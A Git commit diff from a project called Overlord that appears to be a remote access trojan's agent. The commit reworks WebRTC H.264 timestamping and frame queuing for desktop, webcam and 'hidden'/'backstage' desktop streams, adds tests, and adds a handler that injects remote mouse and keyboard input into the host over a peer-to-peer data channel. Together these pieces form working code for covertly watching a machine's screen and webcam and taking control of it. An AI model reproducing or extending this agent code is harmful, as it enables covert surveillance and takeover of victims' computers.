vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

test RTP timestamps

Browse Source
This commit is contained in:
KingKDot
2026-08-05 12:06:13 -05:00
parent c3bcc2cdcc
commit 49604b8b53
14 changed files with 430 additions and 68 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/capture.go
+5 -25
View File
@@ -205,12 +205,8 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
sendStart := time.Now()
if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, now); werr != nil {
log.Printf("webrtc: write h264 failed: %v", werr)
}
sendDur := time.Since(sendStart)
@@ -283,12 +279,8 @@ func sendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, disp
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
sendStart := time.Now()
if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, now); werr != nil {
log.Printf("webrtc: write h264 failed: %v", werr)
}
sendDur := time.Since(sendStart)
@@ -1929,11 +1921,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
if slotAcquired {
@@ -1976,11 +1964,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
return nil
@@ -2079,11 +2063,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil {
log.Printf("webrtc: write backstage h264 failed: %v", werr)
}
if slotAcquired {
Overlord-Client/cmd/agent/capture/webcam_windows.go
+1 -2
View File
@@ -187,8 +187,7 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
return nil
}
if outFormat == "h264" && webrtcpub.IsActive(webrtcpub.KindWebcam) {
dur := time.Second / time.Duration(frameFPS)
if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, time.Now()); werr != nil {
log.Printf("webrtc: write webcam h264 failed: %v", werr)
}
return nil
Overlord-Client/cmd/agent/handlers/webrtc.go
+67
View File
@@ -3,6 +3,7 @@ package handlers
import (
"context"
"encoding/binary"
"encoding/json"
"fmt"
"log"
"net/url"
@@ -182,6 +183,11 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
log.Printf("webrtc: P2P congestion target=%d Mbps applied=%d Mbps", bps/1_000_000, applied/1_000_000)
}
},
OnInput: func(data []byte) {
if kind == webrtcpub.KindDesktop {
handleP2PDesktopInput(env, data)
}
},
}
answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio)
@@ -206,6 +212,67 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
type p2pDesktopInput struct {
Type string `json:"type"`
X int32 `json:"x"`
Y int32 `json:"y"`
Button int `json:"button"`
Delta int32 `json:"delta"`
Code string `json:"code"`
Text string `json:"text"`
}
func handleP2PDesktopInput(env *runtime.Env, data []byte) {
if env == nil || len(data) == 0 || len(data) > 4096 {
return
}
var input p2pDesktopInput
if err := json.Unmarshal(data, &input); err != nil {
return
}
move := func() {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, input.X, input.Y)
setCursorPos(absX, absY)
}
switch input.Type {
case "mouse_move":
if env.MouseControl {
move()
}
case "mouse_down":
if env.MouseControl {
move()
sendMouseDown(input.Button)
}
case "mouse_up":
if env.MouseControl {
move()
sendMouseUp(input.Button)
}
case "mouse_wheel":
if env.MouseControl {
move()
sendMouseWheel(input.Delta)
}
case "key_down":
if env.KeyboardControl {
if vk := keyCodeToVK(input.Code); vk != 0 {
sendKeyDown(vk)
}
}
case "key_up":
if env.KeyboardControl {
if vk := keyCodeToVK(input.Code); vk != 0 {
sendKeyUp(vk)
}
}
case "text_input":
if env.KeyboardControl && input.Text != "" {
sendTextInput(input.Text)
}
}
}
func parseICEServers(value interface{}) []webrtcpub.ICEServer {
items, ok := value.([]interface{})
if !ok {
Overlord-Client/cmd/agent/webrtcpub/h264_track.go
+85
View File
@@ -0,0 +1,85 @@
//go:build overlord_webrtc
package webrtcpub
import (
"crypto/rand"
"encoding/binary"
"errors"
"sync"
"time"
"github.com/pion/rtp"
"github.com/pion/rtp/codecs"
"github.com/pion/webrtc/v4"
)
const (
h264ClockRate = 90_000
h264RTPMTU = 1200
)
type rtpPacketSink interface {
WriteRTP(*rtp.Packet) error
}
type h264TrackWriter struct {
mu sync.Mutex
t rtpPacketSink
packetizer rtp.Packetizer
timestamp uint32
lastCapture time.Time
}
func newH264TrackWriter(track *webrtc.TrackLocalStaticRTP) *h264TrackWriter {
return newH264TrackWriterWithSink(track, randomRTPVideoTimestamp())
}
func newH264TrackWriterWithSink(sink rtpPacketSink, initialTimestamp uint32) *h264TrackWriter {
return &h264TrackWriter{
t: sink,
packetizer: rtp.NewPacketizer(
h264RTPMTU, 0, initialTimestamp, &codecs.H264Payloader{},
rtp.NewRandomSequencer(), h264ClockRate,
),
timestamp: initialTimestamp,
}
}
func randomRTPVideoTimestamp() uint32 {
var value [4]byte
if _, err := rand.Read(value[:]); err == nil {
return binary.BigEndian.Uint32(value[:])
}
return uint32(time.Now().UnixNano())
}
func (w *h264TrackWriter) WriteH264(nalu []byte, capturedAt time.Time) error {
if len(nalu) == 0 {
return nil
}
if capturedAt.IsZero() {
capturedAt = time.Now()
}
w.mu.Lock()
defer w.mu.Unlock()
if !w.lastCapture.IsZero() && capturedAt.After(w.lastCapture) {
ticks := uint64(capturedAt.Sub(w.lastCapture).Seconds() * h264ClockRate)
if ticks == 0 {
ticks = 1
}
w.timestamp += uint32(ticks)
}
w.lastCapture = capturedAt
packets := w.packetizer.Packetize(nalu, 0)
var writeErrs []error
for _, packet := range packets {
packet.Timestamp = w.timestamp
if err := w.t.WriteRTP(packet); err != nil {
writeErrs = append(writeErrs, err)
}
}
return errors.Join(writeErrs...)
}
Overlord-Client/cmd/agent/webrtcpub/h264_track_test.go
+44
View File
@@ -0,0 +1,44 @@
//go:build overlord_webrtc
package webrtcpub
import (
"testing"
"time"
"github.com/pion/rtp"
)
type recordingRTPSink struct {
packets []*rtp.Packet
}
func (s *recordingRTPSink) WriteRTP(packet *rtp.Packet) error {
clone := *packet
clone.Payload = append([]byte(nil), packet.Payload...)
s.packets = append(s.packets, &clone)
return nil
}
func TestH264TrackWriterUsesCaptureClockForTimestamps(t *testing.T) {
sink := &recordingRTPSink{}
writer := newH264TrackWriterWithSink(sink, 1000)
start := time.Unix(100, 0)
if err := writer.WriteH264(annexBKey(1), start); err != nil {
t.Fatal(err)
}
firstCount := len(sink.packets)
if firstCount == 0 {
t.Fatal("first frame produced no RTP packets")
}
if err := writer.WriteH264(annexBDelta(2), start.Add(250*time.Millisecond)); err != nil {
t.Fatal(err)
}
if len(sink.packets) <= firstCount {
t.Fatal("second frame produced no RTP packets")
}
if got, want := sink.packets[firstCount].Timestamp-sink.packets[0].Timestamp, uint32(22500); got != want {
t.Fatalf("capture-clock RTP delta=%d, want %d", got, want)
}
}
Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go
+22 -3
View File
@@ -126,12 +126,12 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st
}
var (
videoTrack *webrtc.TrackLocalStaticSample
videoTrack *webrtc.TrackLocalStaticRTP
audioTrack *webrtc.TrackLocalStaticSample
audioWriter AudioWriter
)
if hasVideo {
videoTrack, err = webrtc.NewTrackLocalStaticSample(
videoTrack, err = webrtc.NewTrackLocalStaticRTP(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video-p2p-"+string(kind), "overlord-"+string(kind),
)
@@ -214,6 +214,25 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st
sess.closeAndUnregister()
}
})
pc.OnDataChannel(func(channel *webrtc.DataChannel) {
if opts.OnInput == nil || (channel.Label() != "overlord-input-reliable" && channel.Label() != "overlord-input-motion") {
return
}
if channel.Label() == "overlord-input-reliable" {
channel.OnOpen(func() {
if err := channel.SendText(`{"type":"input_ready","version":1}`); err != nil {
log.Printf("webrtcpub: P2P input readiness send failed: %v", err)
}
})
}
channel.OnMessage(func(message webrtc.DataChannelMessage) {
if len(message.Data) == 0 || len(message.Data) > 4096 {
return
}
payload := append([]byte(nil), message.Data...)
opts.OnInput(payload)
})
})
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
Type: webrtc.SDPTypeOffer,
@@ -238,7 +257,7 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st
p2pMu.Unlock()
writerID := p2pWriterID(kind, sessionID)
if videoTrack != nil {
registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack})
registerVideoWriter(kind, writerID, newH264TrackWriter(videoTrack))
}
if audioTrack != nil {
registerAudioWriter(kind, writerID, audioWriter)
Overlord-Client/cmd/agent/webrtcpub/state.go
+28 -13
View File
@@ -18,7 +18,7 @@ const (
)
type VideoWriter interface {
WriteH264(nalu []byte, dur time.Duration) error
WriteH264(nalu []byte, capturedAt time.Time) error
}
type AudioWriter interface {
@@ -30,12 +30,14 @@ type writerEntry struct {
audio AudioWriter
}
const maxPendingVideoFrames = 6
// Keep at most one frame behind the frame currently being packetized. Remote
// desktop latency is more important than preserving stale predictive frames.
const maxPendingVideoFrames = 1
type queuedVideoFrame struct {
data []byte
dur time.Duration
key bool
data []byte
capturedAt time.Time
key bool
}
type latestVideoWriter struct {
@@ -54,7 +56,7 @@ func newLatestVideoWriter(kind Kind, writer VideoWriter) *latestVideoWriter {
return queued
}
func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) {
func (w *latestVideoWriter) enqueue(frame []byte, capturedAt time.Time) {
isKey := h264util.IsIDR(frame)
w.mu.Lock()
if w.closed {
@@ -69,10 +71,22 @@ func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) {
requestKeyframe := false
if len(w.pending) >= maxPendingVideoFrames {
// Never evict a recovery IDR in favor of a dependent P-frame. It is
// already the newest independently decodable state available. Since the
// discarded P-frame can be referenced later, request another recovery
// point before accepting subsequent deltas.
if w.pending[len(w.pending)-1].key && !isKey {
w.needsKeyframe = true
w.mu.Unlock()
RequestKeyframe(w.kind)
return
}
w.pending = nil
w.needsKeyframe = true
requestKeyframe = true
if !isKey {
if isKey {
w.needsKeyframe = false
} else {
w.needsKeyframe = true
requestKeyframe = true
w.mu.Unlock()
RequestKeyframe(w.kind)
return
@@ -83,7 +97,7 @@ func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) {
w.needsKeyframe = false
requestKeyframe = false
}
w.pending = append(w.pending, queuedVideoFrame{data: frame, dur: dur, key: isKey})
w.pending = append(w.pending, queuedVideoFrame{data: frame, capturedAt: capturedAt, key: isKey})
w.mu.Unlock()
if requestKeyframe {
RequestKeyframe(w.kind)
@@ -121,7 +135,7 @@ func (w *latestVideoWriter) run() {
w.pending[0] = queuedVideoFrame{}
w.pending = w.pending[1:]
w.mu.Unlock()
err := w.writer.WriteH264(frame.data, frame.dur)
err := w.writer.WriteH264(frame.data, frame.capturedAt)
requestKeyframe := false
w.mu.Lock()
if err != nil {
@@ -229,7 +243,7 @@ func ConsumeKeyframeRequest(kind Kind) bool {
return keyframeRequestFlag(kind).Swap(false)
}
func WriteH264(kind Kind, nalu []byte, dur time.Duration) error {
func WriteH264(kind Kind, nalu []byte, capturedAt time.Time) error {
if len(nalu) == 0 {
return nil
}
@@ -244,7 +258,7 @@ func WriteH264(kind Kind, nalu []byte, dur time.Duration) error {
}
writersMu.RUnlock()
for _, target := range targets {
target.enqueue(frame, dur)
target.enqueue(frame, capturedAt)
}
return nil
}
@@ -302,4 +316,5 @@ type P2POfferCallbacks struct {
OnICE func(c ICECandidate)
OnClose func()
OnBandwidthEstimate func(bps int)
OnInput func(payload []byte)
}
Overlord-Client/cmd/agent/webrtcpub/state_test.go
+38 -4
View File
@@ -15,7 +15,7 @@ type blockingVideoWriter struct {
frames [][]byte
}
func (w *blockingVideoWriter) WriteH264(frame []byte, _ time.Duration) error {
func (w *blockingVideoWriter) WriteH264(frame []byte, _ time.Time) error {
w.mu.Lock()
w.frames = append(w.frames, append([]byte(nil), frame...))
count := len(w.frames)
@@ -46,7 +46,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T
defer unregisterWriter(kind, id)
_ = ConsumeKeyframeRequest(kind)
if err := WriteH264(kind, annexBDelta(1), time.Millisecond); err != nil {
if err := WriteH264(kind, annexBDelta(1), time.Now()); err != nil {
t.Fatal(err)
}
select {
@@ -57,7 +57,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T
started := time.Now()
for frame := 2; frame <= maxPendingVideoFrames+2; frame++ {
_ = WriteH264(kind, annexBDelta(byte(frame)), time.Millisecond)
_ = WriteH264(kind, annexBDelta(byte(frame)), time.Now())
}
if elapsed := time.Since(started); elapsed > 100*time.Millisecond {
t.Fatalf("capture path blocked for %s", elapsed)
@@ -65,7 +65,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T
if !ConsumeKeyframeRequest(kind) {
t.Fatal("dropping a predictive frame did not request a keyframe")
}
_ = WriteH264(kind, annexBKey(9), time.Millisecond)
_ = WriteH264(kind, annexBKey(9), time.Now())
close(writer.release)
deadline := time.Now().Add(time.Second)
@@ -84,6 +84,40 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T
t.Fatal("recovery keyframe was not delivered")
}
func TestLatestFrameQueuePreservesPendingRecoveryFrame(t *testing.T) {
kind := Kind("keyframe-queue-test")
id := "slow-writer"
writer := &blockingVideoWriter{started: make(chan struct{}), release: make(chan struct{})}
registerVideoWriter(kind, id, writer)
defer unregisterWriter(kind, id)
_ = ConsumeKeyframeRequest(kind)
_ = WriteH264(kind, annexBDelta(1), time.Now())
select {
case <-writer.started:
case <-time.After(time.Second):
t.Fatal("writer did not receive first frame")
}
_ = WriteH264(kind, annexBKey(9), time.Now())
_ = WriteH264(kind, annexBDelta(3), time.Now())
close(writer.release)
deadline := time.Now().Add(time.Second)
for time.Now().Before(deadline) {
writer.mu.Lock()
frames := append([][]byte(nil), writer.frames...)
writer.mu.Unlock()
if len(frames) >= 2 {
if !h264util.IsIDR(frames[1]) {
t.Fatalf("pending recovery frame was replaced by a delta: %v", frames)
}
return
}
time.Sleep(5 * time.Millisecond)
}
t.Fatal("pending recovery frame was not delivered")
}
func TestKeyframeRequestsAreIsolatedByStreamKind(t *testing.T) {
for _, kind := range []Kind{KindDesktop, Kindbackstage, KindWebcam} {
_ = ConsumeKeyframeRequest(kind)
Overlord-Client/cmd/agent/webrtcpub/whip_pion.go
+3 -12
View File
@@ -22,7 +22,6 @@ import (
"github.com/pion/interceptor"
"github.com/pion/rtcp"
"github.com/pion/webrtc/v4"
"github.com/pion/webrtc/v4/pkg/media"
)
func drainRTCP(sender *webrtc.RTPSender, kind Kind) {
@@ -98,14 +97,6 @@ func honorRTCPKeyframes() bool {
}
}
type h264TrackWriter struct {
t *webrtc.TrackLocalStaticSample
}
func (w *h264TrackWriter) WriteH264(nalu []byte, dur time.Duration) error {
return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
}
type Publisher struct {
kind Kind
pc *webrtc.PeerConnection
@@ -187,12 +178,12 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
}
var (
videoTrack *webrtc.TrackLocalStaticSample
videoTrack *webrtc.TrackLocalStaticRTP
audioTrack *webrtc.TrackLocalStaticSample
audioWriter AudioWriter
)
if opts.HasVideo {
videoTrack, err = webrtc.NewTrackLocalStaticSample(
videoTrack, err = webrtc.NewTrackLocalStaticRTP(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video-"+string(kind), "overlord-"+string(kind),
)
@@ -296,7 +287,7 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
whipByKind[kind] = pub
whipMu.Unlock()
if videoTrack != nil {
registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack})
registerVideoWriter(kind, writerID, newH264TrackWriter(videoTrack))
}
if audioTrack != nil {
registerAudioWriter(kind, writerID, audioWriter)